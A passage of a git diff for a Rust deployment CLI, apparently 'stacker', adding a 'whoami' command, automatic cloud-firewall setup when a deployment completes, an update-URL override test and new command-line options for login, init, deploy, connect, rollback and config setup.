         replace_current_exe(new_bytes)?;
 
-        eprintln!("✅ Updated to v{}. Run 'stacker --version' to confirm.", latest_version);
+        eprintln!(
+            "✅ Updated to v{}. Run 'stacker --version' to confirm.",
+            latest_version
+        );
         Ok(())
     }
 }
@@ -258,4 +258,11 @@ mod tests {
         assert!(is_newer("0.2.4", "v0.2.5"));
         assert!(!is_newer("v0.2.5", "v0.2.5"));
     }
+
+    #[test]
+    fn test_releases_api_url_uses_env_override() {
+        std::env::set_var(RELEASES_URL_ENV, "http://localhost/releases");
+        assert_eq!(releases_api_url(), "http://localhost/releases");
+        std::env::remove_var(RELEASES_URL_ENV);
+    }
 }
diff --git a/src/console/commands/cli/whoami.rs b/src/console/commands/cli/whoami.rs
new file mode 100644
index 00000000..797d0815
--- /dev/null
+++ b/src/console/commands/cli/whoami.rs
@@ -0,0 +1,182 @@
+use std::path::Path;
+
+use crate::cli::credentials::{CredentialsManager, StoredCredentials};
+use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::user_config::UserConfig;
+use crate::connectors::user_service::plan::{
+    get_subscription_plan_blocking, subscription_plan_lines, user_service_url_from_sources,
+};
+use crate::console::commands::CallableTrait;
+
+pub struct WhoamiCommand;
+
+impl WhoamiCommand {
+    pub fn new() -> Self {
+        Self
+    }
+}
+
+fn describe_saved_login(creds: Option<&StoredCredentials>) -> Vec<String> {
+    match creds {
+        Some(creds) => {
+            let mut lines = vec![format!("{}", creds)];
+            if let Some(server_url) = &creds.server_url {
+                lines.push(format!("  Stacker API:   {}", server_url));
+            }
+            if let Some(org) = &creds.org {
+                lines.push(format!("  Organization:  {}", org));
+            }
+            if let Some(domain) = &creds.domain {
+                lines.push(format!("  Domain:        {}", domain));
+            }
+            lines.push(format!(
+                "  Expires at:    {}",
+                creds.expires_at.to_rfc3339()
+            ));
+            lines
+        }
+        None => vec![
+            "Not logged in".to_string(),
+            "  Run: stacker login".to_string(),
+        ],
+    }
+}
+
+fn load_project_lock(
+    project_dir: &Path,
+) -> Result<Option<DeploymentLock>, crate::cli::error::CliError> {
+    DeploymentLock::load_active(project_dir)
+}
+
+fn describe_project_lock(lock: Option<&DeploymentLock>) -> Vec<String> {
+    match lock {
+        Some(lock) => {
+            let mut lines = vec!["Current project:".to_string()];
+            lines.push(format!("  Target:        {}", lock.target));
+            if let Some(project_name) = &lock.project_name {
+                lines.push(format!("  Project name:  {}", project_name));
+            }
+            match &lock.stacker_email {
+                Some(email) => lines.push(format!("  Deployed by:   {}", email)),
+                None => lines
+                    .push("  Deployed by:   unknown (lock predates account tracking)".to_string()),
+            }
+            if let Some(server_name) = &lock.server_name {
+                lines.push(format!("  Server name:   {}", server_name));
+            }
+            if let Some(ssh_user) = &lock.ssh_user {
+                lines.push(format!("  SSH user:      {}", ssh_user));
+            }
+            lines.push(format!("  Recorded at:   {}", lock.deployed_at));
+            lines
+        }
+        None => vec!["Current project: no deployment context found".to_string()],
+    }
+}
+
+fn resolve_user_service_url(creds: &StoredCredentials) -> Option<String> {
+    let cfg = UserConfig::load();
+    user_service_url_from_sources(
+        std::env::var("STACKER_AUTH_URL").ok(),
+        std::env::var("STACKER_API_URL").ok(),
+        creds.server_url.clone(),
+        cfg.auth_url,
+    )
+}
+
+fn describe_subscription_unavailable(reason: &str) -> Vec<String> {
+    vec![
+        "Subscription: unavailable".to_string(),
+        format!("  Reason:        {}", reason),
+    ]
+}
+
+fn load_subscription_plan(creds: Option<&StoredCredentials>) -> Vec<String> {
+    let Some(creds) = creds else {
+        return describe_subscription_unavailable("not logged in");
+    };
+
+    if creds.is_expired() {
+        return describe_subscription_unavailable("login expired; run `stacker login`");
+    }
+
+    let Some(user_service_url) = resolve_user_service_url(creds) else {
+        return describe_subscription_unavailable(
+            "missing User Service URL; set STACKER_AUTH_URL or configure auth_url",
+        );
+    };
+
+    match get_subscription_plan_blocking(&user_service_url, &creds.access_token) {
+        Ok(plan) => subscription_plan_lines(&plan),
+        Err(error) => describe_subscription_unavailable(&format!("failed to fetch plan: {error}")),
+    }
+}
+
+impl CallableTrait for WhoamiCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let creds = CredentialsManager::with_default_store().load()?;
+        for line in describe_saved_login(creds.as_ref()) {
+            println!("{}", line);
+        }
+
+        println!();
+        for line in load_subscription_plan(creds.as_ref()) {
+            println!("{}", line);
+        }
+
+        let project_dir = std::env::current_dir()?;
+        let project_lock = load_project_lock(&project_dir)?;
+        println!();
+        for line in describe_project_lock(project_lock.as_ref()) {
+            println!("{}", line);
+        }
+
+        Ok(())
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use chrono::{Duration, Utc};
+
+    #[test]
+    fn describe_saved_login_marks_expired_credentials() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: Utc::now() - Duration::minutes(1),
+            email: Some("user@example.com".to_string()),
+            server_url: Some("https://stacker.example".to_string()),
+            org: Some("demo".to_string()),
+            domain: None,
+        };
+
+        let lines = describe_saved_login(Some(&creds));
+        assert!(lines[0].contains("user@example.com"));
+        assert!(lines[0].contains("(expired)"));
+        assert!(lines
+            .iter()
+            .any(|line| line.contains("https://stacker.example")));
+    }
+
+    #[test]
+    fn describe_project_lock_shows_recorded_deployer() {
+        let lock = DeploymentLock::for_local()
+            .with_project_name(Some("demo".into()))
+            .with_stacker_email(Some("owner@example.com".into()));
+
+        let lines = describe_project_lock(Some(&lock));
+        assert!(lines.iter().any(|line| line.contains("owner@example.com")));
+        assert!(lines.iter().any(|line| line.contains("demo")));
+    }
+
+    #[test]
+    fn load_subscription_plan_reports_missing_login() {
+        let lines = load_subscription_plan(None);
+
+        assert_eq!(lines[0], "Subscription: unavailable");
+        assert!(lines.iter().any(|line| line.contains("not logged in")));
+    }
+}
diff --git a/src/console/commands/mq/listener.rs b/src/console/commands/mq/listener.rs
index d77c225b..48495d7b 100644
--- a/src/console/commands/mq/listener.rs
+++ b/src/console/commands/mq/listener.rs
@@ -1,6 +1,16 @@
 use crate::configuration::get_configuration;
+use crate::connectors::install_service::InstallServiceConnector;
 use crate::db;
+use crate::forms::cloud_firewall::{
+    idempotency_key, normalize_provider, CloudFirewallAction, CloudFirewallCredentials,
+    CloudFirewallOperationMessage, CloudFirewallRequestedBy, CloudFirewallRule,
+    CloudFirewallTarget, CLOUD_FIREWALL_PROTOCOL_VERSION,
+};
+use crate::forms::firewall::{parse_public_port, FirewallRuleDirection};
+use crate::forms::CloudForm;
+use crate::helpers::ip::extract_ipv4_from_text;
 use crate::helpers::mq_manager::MqManager;
+use crate::models;
 use actix_web::rt;
 use actix_web::web;
 use chrono::Utc;
@@ -10,8 +20,11 @@ use lapin::options::{BasicAckOptions, BasicConsumeOptions};
 use lapin::types::FieldTable;
 use serde_derive::{Deserialize, Serialize};
 use sqlx::PgPool;
+use std::collections::BTreeMap;
+use std::sync::Arc;
 use std::time::Duration;
 use tokio::time::sleep;
+use uuid::Uuid;
 
 pub struct ListenCommand {}
 
@@ -69,6 +82,181 @@ impl ListenCommand {
     }
 }
 
+fn progress_message_server_ip(msg: &ProgressMessage) -> Option<String> {
+    msg.srv_ip
+        .as_deref()
+        .map(str::trim)
+        .filter(|ip| !ip.is_empty())
+        .map(ToOwned::to_owned)
+        .or_else(|| extract_ipv4_from_text(&msg.message))
+}
+
+fn extract_public_ports(metadata: &Value) -> Vec<String> {
+    metadata
+        .get("public_ports")
+        .and_then(Value::as_array)
+        .map(|arr| {
+            arr.iter()
+                .filter_map(|v| match v {
+                    Value::String(s) => Some(s.clone()),
+                    // Tolerate numeric port entries (e.g. `"public_ports": [8000]`)
+                    // by coercing them to strings before normalization.
+                    Value::Number(n) => Some(n.to_string()),
+                    _ => None,
+                })
+                .filter(|s| !s.trim().is_empty())
+                .collect()
+        })
+        .unwrap_or_default()
+}
+
+fn build_public_firewall_message(
+    deployment: &models::Deployment,
+    server: &models::Server,
+    cloud: models::Cloud,
+    port_strings: &[String],
+    operation_id: String,
+) -> Result<CloudFirewallOperationMessage, String> {
+    let cloud_id = server.cloud_id.ok_or_else(|| {
+        format!(
+            "server {} has no cloud_id; auto-firewall skipped",
+            server.id
+        )
+    })?;
+    let server_public_ip = server
+        .srv_ip
+        .clone()
+        .filter(|ip| !ip.trim().is_empty())
+        .ok_or_else(|| {
+            format!(
+                "server {} has no public IP yet; auto-firewall skipped",
+                server.id
+            )
+        })?;
+    let provider = normalize_provider(&cloud.provider).ok_or_else(|| {
+        format!(
+            "cloud provider '{}' does not support auto-firewall",
+            cloud.provider
+        )
+    })?;
+
+    let cloud = if cloud.save_token == Some(true) {
+        CloudForm::decode_model(cloud, true)
+    } else {
+        cloud
+    };
+    let non_empty = |s: Option<String>| s.map(|v| v.trim().to_string()).filter(|v| !v.is_empty());
+    let credentials = CloudFirewallCredentials {
+        provider: provider.to_string(),
+        token: non_empty(cloud.cloud_token),
+        key: non_empty(cloud.cloud_key),
+        secret: non_empty(cloud.cloud_secret),
+    };
+    if provider == "htz" && credentials.token.is_none() {
+        return Err(format!(
+            "Hetzner auto-firewall requires a valid cloud token for cloud {}",
+            cloud_id
+        ));
+    }
+
+    let managed_scope = format!("server:{}", server.id);
+    let mut rules: Vec<CloudFirewallRule> = Vec::with_capacity(port_strings.len());
+    for input in port_strings {
+        let port_rule = parse_public_port(input)
+            .map_err(|err| format!("invalid public_port '{}': {}", input, err))?;
+        let mut rule = CloudFirewallRule::from_port_rule(
+            port_rule,
+            FirewallRuleDirection::Inbound,
+            managed_scope.clone(),
+        );
+        rule.labels
+            .insert("stacker.server_id".to_string(), server.id.to_string());
+        rule.labels
+            .insert("stacker.operation_id".to_string(), operation_id.clone());
+        rule.labels.insert(
+            "stacker.deployment_hash".to_string(),
+            deployment.deployment_hash.clone(),
+        );
+        rules.push(rule);
+    }
+    if rules.is_empty() {
+        return Err("no valid public_ports to configure".to_string());
+    }
+
+    let target = CloudFirewallTarget {
+        provider: provider.to_string(),
+        cloud_id,
+        server_id: server.id,
+        project_id: server.project_id,
+        deployment_hash: Some(deployment.deployment_hash.clone()),
+        server_public_ip,
+        provider_server_id: None,
+        server_name: server.name.clone().or_else(|| server.server.clone()),
+        region: server.region.clone(),
+        zone: server.zone.clone(),
+        firewall_id: None,
+        firewall_name: None,
+    };
+
+    let action = CloudFirewallAction::Add;
+    Ok(CloudFirewallOperationMessage {
+        protocol_version: CLOUD_FIREWALL_PROTOCOL_VERSION.to_string(),
+        operation_id,
+        idempotency_key: idempotency_key(server.id, &action, &rules),
+        action,
+        dry_run: false,
+        target,
+        rules,
+        credentials,
+        provider_context: BTreeMap::new(),
+        requested_by: CloudFirewallRequestedBy {
+            user_id: deployment.user_id.clone().unwrap_or_default(),
+            user_email: None,
+        },
+    })
+}
+
+async fn configure_public_firewall_for_deployment(
+    db_pool: &PgPool,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    mq_manager: &MqManager,
+    deployment: &models::Deployment,
+) -> Result<(), String> {
+    let port_strings = extract_public_ports(&deployment.metadata);
+    if port_strings.is_empty() {
+        return Ok(());
+    }
+
+    let servers = db::server::fetch_by_project(db_pool, deployment.project_id).await?;
+    let server = servers
+        .into_iter()
+        .find(|s| {
+            s.cloud_id.is_some() && s.srv_ip.as_ref().map_or(false, |ip| !ip.trim().is_empty())
+        })
+        .ok_or_else(|| {
+            format!(
+                "no cloud-managed server with public IP for project {}",
+                deployment.project_id
+            )
+        })?;
+
+    let cloud_id = server
+        .cloud_id
+        .expect("cloud_id checked above during server selection");
+    let cloud = db::cloud::fetch(db_pool, cloud_id)
+        .await?
+        .ok_or_else(|| format!("cloud {} not found for server {}", cloud_id, server.id))?;
+
+    let operation_id = format!("cfw_{}", Uuid::new_v4());
+    let message =
+        build_public_firewall_message(deployment, &server, cloud, &port_strings, operation_id)?;
+
+    install_service
+        .configure_cloud_firewall(message, mq_manager)
+        .await
+        .map(|_| ())
+}
+
 impl crate::console::commands::CallableTrait for ListenCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         rt::System::new().block_on(async {
@@ -78,22 +266,27 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                 .expect("Failed to connect to database.");
 
             let db_pool = web::Data::new(db_pool);
+            let install_service_data =
+                crate::connectors::init_install_service(&settings.connectors);
+            let install_service: Arc<dyn InstallServiceConnector> =
+                install_service_data.get_ref().clone();
             let queue_name = "stacker_listener";
-            
+
             // Outer loop for reconnection on connection errors
             loop {
                 println!("Connecting to RabbitMQ...");
-                
+
                 // Try to establish connection with retry
-                let mq_manager = match Self::connect_with_retry(&settings.amqp.connection_string()).await {
-                    Ok(m) => m,
-                    Err(e) => {
-                        eprintln!("Failed to connect to RabbitMQ after retries: {}", e);
-                        sleep(Duration::from_secs(5)).await;
-                        continue;
-                    }
-                };
-                
+                let mq_manager =
+                    match Self::connect_with_retry(&settings.amqp.connection_string()).await {
+                        Ok(m) => m,
+                        Err(e) => {
+                            eprintln!("Failed to connect to RabbitMQ after retries: {}", e);
+                            sleep(Duration::from_secs(5)).await;
+                            continue;
+                        }
+                    };
+
                 let consumer_channel = match mq_manager
                     .consume("install_progress", queue_name, "install.progress.*.*.*")
                     .await
@@ -125,7 +318,7 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                 };
 
                 println!("Waiting for messages ..");
-                
+
                 // Inner loop for processing messages
                 while let Some(delivery_result) = consumer.next().await {
                     let delivery = match delivery_result {
@@ -135,7 +328,7 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                             break; // Break inner loop to reconnect
                         }
                     };
-                    
+
                     let s: String = match String::from_utf8(delivery.data.to_owned()) {
                         Ok(v) => v,
                         Err(e) => {
@@ -148,6 +341,7 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                     };
 
                     let statuses = vec![
+                        "complete",
                         "completed",
                         "paused",
                         "failed",
@@ -158,31 +352,49 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                         "wait_start",
                         "confirmed",
                     ];
-                    
+
                     match serde_json::from_str::<ProgressMessage>(&s) {
                         Ok(msg) => {
                             println!("message {:?}", s);
 
                             if statuses.contains(&(msg.status.as_ref())) {
+                                let normalized_status = if msg.status == "complete" {
+                                    "completed".to_string()
+                                } else {
+                                    msg.status.clone()
+                                };
                                 // Try to find deployment by deploy_id or deployment_hash
-                                let deployment_result = if let Some(ref deploy_id_str) = msg.deploy_id {
+                                let deployment_result = if let Some(ref deploy_id_str) =
+                                    msg.deploy_id
+                                {
                                     // Try deploy_id first (numeric ID)
                                     if let Ok(id) = deploy_id_str.parse::<i32>() {
                                         deployment::fetch(db_pool.get_ref(), id).await
                                     } else if let Some(ref hash) = msg.deployment_hash {
                                         // deploy_id might be the hash string
-                                        deployment::fetch_by_deployment_hash(db_pool.get_ref(), hash).await
+                                        deployment::fetch_by_deployment_hash(
+                                            db_pool.get_ref(),
+                                            hash,
+                                        )
+                                        .await
                                     } else {
                                         // Try deploy_id as hash
-                                        deployment::fetch_by_deployment_hash(db_pool.get_ref(), deploy_id_str).await
+                                        deployment::fetch_by_deployment_hash(
+                                            db_pool.get_ref(),
+                                            deploy_id_str,
+                                        )
+                                        .await
                                     }
                                 } else if let Some(ref hash) = msg.deployment_hash {
                                     // Use deployment_hash
-                                    deployment::fetch_by_deployment_hash(db_pool.get_ref(), hash).await
+                                    deployment::fetch_by_deployment_hash(db_pool.get_ref(), hash)
+                                        .await
                                 } else {
                                     // No identifier available
                                     println!("No deploy_id or deployment_hash in message");
-                                    if let Err(ack_err) = delivery.ack(BasicAckOptions::default()).await {
+                                    if let Err(ack_err) =
+                                        delivery.ack(BasicAckOptions::default()).await
+                                    {
                                         eprintln!("Failed to ack: {}", ack_err);
                                     }
                                     continue;
@@ -190,7 +402,7 @@ impl crate::console::commands::CallableTrait for ListenCommand {
 
                                 match deployment_result {
                                     Ok(Some(mut row)) => {
-                                        row.status = msg.status;
+                                        row.status = normalized_status;
                                         row.updated_at = Utc::now();
 
                                         // Persist the progress message in metadata so the
@@ -214,35 +426,57 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                                         // but the IP is already known after Terraform succeeds
                                         // even when the subsequent Ansible step fails (status
                                         // "paused" / "failed").
-                                        if let Some(ref ip) = msg.srv_ip {
-                                            if !ip.is_empty() {
-                                                match db::server::update_srv_ip(
-                                                    db_pool.get_ref(),
-                                                    row.project_id,
-                                                    ip,
-                                                    msg.ssh_port,
-                                                )
-                                                .await
-                                                {
-                                                    Ok(s) => println!(
-                                                        "Updated server {} srv_ip={} for project {}",
-                                                        s.id, ip, row.project_id
-                                                    ),
-                                                    Err(e) => eprintln!(
-                                                        "Failed to update srv_ip for project {}: {}",
-                                                        row.project_id, e
-                                                    ),
-                                                }
+                                        if let Some(ip) = progress_message_server_ip(&msg) {
+                                            match db::server::update_srv_ip(
+                                                db_pool.get_ref(),
+                                                row.project_id,
+                                                &ip,
+                                                msg.ssh_port,
+                                            )
+                                            .await
+                                            {
+                                                Ok(s) => println!(
+                                                    "Updated server {} srv_ip={} for project {}",
+                                                    s.id, ip, row.project_id
+                                                ),
+                                                Err(e) => eprintln!(
+                                                    "Failed to update srv_ip for project {}: {}",
+                                                    row.project_id, e
+                                                ),
                                             }
                                         }
 
+                                        let is_completed = row.status == "completed";
+                                        let row_for_firewall = row.clone();
                                         println!(
                                             "Deployment {} updated with status {}",
                                             &row.id, &row.status
                                         );
-                                        if let Err(e) = deployment::update(db_pool.get_ref(), row).await {
+                                        if let Err(e) =
+                                            deployment::update(db_pool.get_ref(), row).await
+                                        {
                                             eprintln!("Failed to update deployment: {}", e);
                                         }
+
+                                        // Auto-configure cloud firewall when a new
+                                        // deployment reaches "completed" and the
+                                        // project has public_ports declared.
+                                        if is_completed {
+                                            if let Err(e) =
+                                                configure_public_firewall_for_deployment(
+                                                    db_pool.get_ref(),
+                                                    &install_service,
+                                                    &mq_manager,
+                                                    &row_for_firewall,
+                                                )
+                                                .await
+                                            {
+                                                eprintln!(
+                                                    "Auto-firewall failed for deployment {}: {}",
+                                                    row_for_firewall.id, e
+                                                );
+                                            }
+                                        }
                                     }
                                     Ok(None) => println!("Deployment record was not found in db"),
                                     Err(e) => eprintln!("Failed to fetch deployment: {}", e),
@@ -259,7 +493,7 @@ impl crate::console::commands::CallableTrait for ListenCommand {
                         break; // Connection likely lost, reconnect
                     }
                 }
-                
+
                 println!("Consumer loop ended, reconnecting in 5s...");
                 sleep(Duration::from_secs(5)).await;
             }
@@ -271,10 +505,10 @@ impl ListenCommand {
     async fn connect_with_retry(connection_string: &str) -> Result<MqManager, String> {
         let max_retries = 10;
         let mut retry_delay = Duration::from_secs(1);
-        
+
         for attempt in 1..=max_retries {
             println!("RabbitMQ connection attempt {}/{}", attempt, max_retries);
-            
+
             match MqManager::try_new(connection_string.to_string()) {
                 Ok(manager) => {
                     println!("Connected to RabbitMQ");
@@ -289,7 +523,46 @@ impl ListenCommand {
                 }
             }
         }
-        
+
         Err(format!("Failed to connect after {} attempts", max_retries))
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn progress_message(message: &str, srv_ip: Option<&str>) -> ProgressMessage {
+        ProgressMessage {
+            id: "1".to_string(),
+            deploy_id: Some("174".to_string()),
+            deployment_hash: Some("hash".to_string()),
+            alert: 0,
+            message: message.to_string(),
+            status: "paused".to_string(),
+            progress: "90".to_string(),
+            srv_ip: srv_ip.map(ToOwned::to_owned),
+            ssh_port: Some(22),
+        }
+    }
+
+    #[test]
+    fn progress_message_server_ip_prefers_structured_srv_ip() {
+        let msg = progress_message("178.104.222.170: Copy files is done", Some("203.0.113.42"));
+
+        assert_eq!(
+            progress_message_server_ip(&msg),
+            Some("203.0.113.42".to_string())
+        );
+    }
+
+    #[test]
+    fn progress_message_server_ip_falls_back_to_message_prefix() {
+        let msg = progress_message("178.104.222.170: Copy files is done", None);
+
+        assert_eq!(
+            progress_message_server_ip(&msg),
+            Some("178.104.222.170".to_string())
+        );
+    }
+}
diff --git a/src/console/main.rs b/src/console/main.rs
index ce2147f6..4c849493 100644
--- a/src/console/main.rs
+++ b/src/console/main.rs
@@ -93,10 +93,24 @@ enum StackerCommands {
         org: Option<String>,
         #[arg(long)]
         domain: Option<String>,
-        /// API base URL (default: https://api.try.direct)
-        #[arg(long = "auth-url", visible_alias = "api-url")]
+        /// User Service auth URL (or set STACKER_AUTH_URL)
+        #[arg(long = "auth-url")]
         auth_url: Option<String>,
+        /// Stacker API base URL (or set STACKER_URL)
+        #[arg(long = "server-url", visible_alias = "api-url")]
+        server_url: Option<String>,
+        /// Authenticate via browser OAuth2 flow (opens a sign-in URL)
+        #[arg(long)]
+        browser: bool,
+        /// OAuth provider code for browser login: gc (Google), gh (GitHub), … (default: gc)
+        #[arg(long, value_name = "PROVIDER")]
+        provider: Option<String>,
+        /// Log in with username/password instead of browser OAuth (skips browser flow)
+        #[arg(short = 'u', long, value_name = "EMAIL")]
+        user: Option<String>,
     },
+    /// Show the saved login and current project's recorded deploy identity
+    Whoami {},
     /// Initialize a new stacker project (stacker.yml + Dockerfile)
     Init {
         #[arg(long, value_name = "TYPE")]
@@ -107,6 +121,12 @@ enum StackerCommands {
         with_ai: bool,
         #[arg(long)]
         with_cloud: bool,
+        /// Generate stacker.yml from a GitHub repository (owner/repo or full URL)
+        #[arg(short = 'g', long, value_name = "URL")]
+        from_github: Option<String>,
+        /// Overwrite existing stacker.yml if present
+        #[arg(short = 'f', long)]
+        force: bool,
         /// AI provider: openai, anthropic, ollama, custom (default: ollama)
         #[arg(long, value_name = "PROVIDER")]
         ai_provider: Option<String>,
@@ -116,6 +136,9 @@ enum StackerCommands {
         /// AI API key (or set OPENAI_API_KEY / ANTHROPIC_API_KEY env var)
         #[arg(long, value_name = "KEY")]
         ai_api_key: Option<String>,
+        /// AI endpoint URL (e.g. http://localhost:11434 for Ollama)
+        #[arg(long, value_name = "URL")]
+        ai_endpoint: Option<String>,
     },
     /// Build & deploy the stack
     Deploy {
@@ -130,6 +153,9 @@ enum StackerCommands {
         /// Project name on the Stacker server
         #[arg(long, value_name = "NAME")]
         project: Option<String>,
+        /// Deployment environment/profile to use
+        #[arg(long = "env", visible_alias = "environment", value_name = "NAME")]
+        environment: Option<String>,
         /// Name of saved cloud credential to reuse
         #[arg(long, value_name = "KEY_NAME")]
         key: Option<String>,
@@ -140,6 +166,12 @@ enum StackerCommands {
         #[arg(long, value_name = "SERVER_NAME")]
         server: Option<String>,
     },
+    /// Attach this directory to an existing deployment from the dashboard
+    Connect {
+        /// Handoff token or full handoff URL copied from the dashboard
+        #[arg(long, value_name = "TOKEN_OR_URL")]
+        handoff: String,
+    },
     /// Show container logs
     Logs {
         #[arg(long)]
@@ -165,6 +197,13 @@ enum StackerCommands {
         #[arg(long, short = 'y')]
         confirm: bool,
     },
+    /// Roll back a marketplace deployment to a prior template version
+    Rollback {
+        #[arg(long, value_name = "VERSION")]
+        version: String,
+        #[arg(long, short = 'y')]
+        confirm: bool,
+    },
     /// Configuration management
     Config {
         #[command(subcommand)]
@@ -202,6 +241,9 @@ enum StackerConfigCommands {
     Show {
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
+        /// Show paths, hash/version metadata, and contributing layers without values
+        #[arg(long)]
+        resolved: bool,
     },
     /// Print a full commented `stacker.yml` reference example
     Example,
@@ -231,11 +273,48 @@ enum StackerConfigCommands {
 
 #[derive(Debug, Subcommand)]
 enum StackerConfigSetupCommands {
+    /// Register a server (intranet or remote) as the deploy target
+    Server {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// Server IP address or hostname (e.g. 192.168.100.245)
+        #[arg(long, value_name = "IP")]
+        ip: Option<String>,
+        /// SSH user (default: root)
+        #[arg(long, value_name = "USER")]
+        user: Option<String>,
+        /// SSH port (default: 22)
+        #[arg(long, value_name = "PORT")]
+        port: Option<u16>,
+        /// Path to SSH private key
+        #[arg(long, value_name = "PATH")]
+        key: Option<String>,
+    },
     /// Configure cloud deployment defaults in stacker.yml
     Cloud {
         #[arg(long, value_name = "FILE")]
         file: Option<String>,
     },
+    /// Configure AI defaults in stacker.yml
+    Ai {
+        #[arg(long, value_name = "FILE")]
+        file: Option<String>,
+        /// AI provider: openai, anthropic, ollama, custom
+        #[arg(long, value_name = "PROVIDER")]
+        provider: Option<String>,
+        /// AI endpoint, e.g. http://localhost:11434 for Ollama
+        #[arg(long, value_name = "URL")]
+        endpoint: Option<String>,
+        /// AI model name, e.g. llama3.1
+        #[arg(long, value_name = "MODEL")]
+        model: Option<String>,
+        /// AI request timeout in seconds
+        #[arg(long, value_name = "SECONDS")]
+        timeout: Option<u64>,
+        /// AI task name. Repeat or use comma-separated values.
+        #[arg(long = "task", value_name = "TASK")]
+        tasks: Vec<String>,
+    },
     /// Advanced/debug: generate remote orchestrator payload and wire stacker.yml
     RemotePayload {
         #[arg(long, value_name = "FILE")]
@@ -269,8 +348,14 @@ enum StackerProxyCommands {
         domain: String,
         #[arg(long)]
         upstream: Option<String>,
-        #[arg(long)]
+        #[arg(long, num_args = 0..=1, default_missing_value = "auto")]
         ssl: Option<String>,
+        #[arg(long)]
+        force: bool,
+        #[arg(long)]
+        json: bool,
+        #[arg(long)]
+        deployment: Option<String>,
     },
     /// Detect existing reverse-proxy containers
     Detect {
@@ -294,7 +379,9 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
     get_command(command)?.call()
 }
 
-fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::CallableTrait>, String> {
+fn get_command(
+    command: Commands,
+) -> Result<Box<dyn stacker::console::commands::CallableTrait>, String> {
     match command {
         Commands::AppClient { command } => match command {
             AppClientCommands::New { user_id } => Ok(Box::new(
@@ -341,22 +428,42 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
                 org,
                 domain,
                 auth_url,
+                server_url,
+                browser,
+                provider,
+                user,
             } => Ok(Box::new(
-                stacker::console::commands::cli::login::LoginCommand::new(org, domain, auth_url),
+                stacker::console::commands::cli::login::LoginCommand::new(
+                    org,
+                    domain,
+                    auth_url,
+                    server_url,
+                    browser,
+                    provider,
+                    user,
+                ),
+            )),
+            StackerCommands::Whoami {} => Ok(Box::new(
+                stacker::console::commands::cli::whoami::WhoamiCommand::new(),
             )),
             StackerCommands::Init {
                 app_type,
                 with_proxy,
                 with_ai,
                 with_cloud,
+                from_github,
+                force,
                 ai_provider,
                 ai_model,
                 ai_api_key,
+                ai_endpoint,
             } => Ok(Box::new(
                 stacker::console::commands::cli::init::InitCommand::new(
                     app_type, with_proxy, with_ai, with_cloud,
                 )
-                .with_ai_options(ai_provider, ai_model, ai_api_key),
+                .with_from_github(from_github)
+                .with_force(force)
+                .with_ai_options(ai_provider, ai_model, ai_api_key, ai_endpoint),
             )),
             StackerCommands::Deploy {
                 target,
@@ -364,6 +471,7 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
                 dry_run,
                 force_rebuild,
                 project,
+                environment,
                 key,
                 key_id,
                 server,
@@ -375,8 +483,12 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
                     force_rebuild,
                 )
                 .with_remote_overrides(project, key, server)
+                .with_environment(environment)
                 .with_key_id(key_id),
             )),
+            StackerCommands::Connect { handoff } => Ok(Box::new(
+                stacker::console::commands::cli::connect::ConnectCommand::new(handoff),
+            )),
             StackerCommands::Logs {
                 service,
                 follow,
@@ -393,12 +505,15 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
             StackerCommands::Destroy { volumes, confirm } => Ok(Box::new(
                 stacker::console::commands::cli::destroy::DestroyCommand::new(volumes, confirm),
             )),
+            StackerCommands::Rollback { version, confirm } => Ok(Box::new(
+                stacker::console::commands::cli::rollback::RollbackCommand::new(version, confirm),
+            )),
             StackerCommands::Config { command: cfg_cmd } => match cfg_cmd {
                 StackerConfigCommands::Validate { file } => Ok(Box::new(
                     stacker::console::commands::cli::config::ConfigValidateCommand::new(file),
                 )),
-                StackerConfigCommands::Show { file } => Ok(Box::new(
-                    stacker::console::commands::cli::config::ConfigShowCommand::new(file),
+                StackerConfigCommands::Show { file, resolved } => Ok(Box::new(
+                    stacker::console::commands::cli::config::ConfigShowCommand::new(file, resolved),
                 )),
                 StackerConfigCommands::Example => Ok(Box::new(
                     stacker::console::commands::cli::config::ConfigExampleCommand::new(),
@@ -413,9 +528,26 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
                     stacker::console::commands::cli::config::ConfigUnlockCommand::new(file),
                 )),
                 StackerConfigCommands::Setup { command } => match command {
+                    StackerConfigSetupCommands::Server { file, ip, user, port, key } => Ok(Box::new(
+                        stacker::console::commands::cli::config::ConfigSetupServerCommand::new(
+                            file, ip, user, port, key,
+                        ),
+                    )),
                     StackerConfigSetupCommands::Cloud { file } => Ok(Box::new(
                         stacker::console::commands::cli::config::ConfigSetupCloudCommand::new(file),
                     )),
+                    StackerConfigSetupCommands::Ai {
+                        file,
+                        provider,
+                        endpoint,
+                        model,
+                        timeout,
+                        tasks,
+                    } => Ok(Box::new(
+                        stacker::console::commands::cli::config::ConfigSetupAiCommand::new(
+                            file, provider, endpoint, model, timeout, tasks,
+                        ),
+                    )),
                     StackerConfigSetupCommands::RemotePayload { file, out } => Ok(Box::new(
                         stacker::console::commands::cli::config::ConfigSetupRemotePayloadCommand::new(file, out),
                     )),
@@ -423,7 +555,7 @@ fn get_command(command: Commands) -> Result<Box<dyn stacker::console::commands::
             },
             StackerCommands::Ai { command: ai_cmd, write } => match ai_cmd {
                 None => Ok(Box::new(
-                    stacker::console::commands::cli::ai::AiChatCommand::new(write),
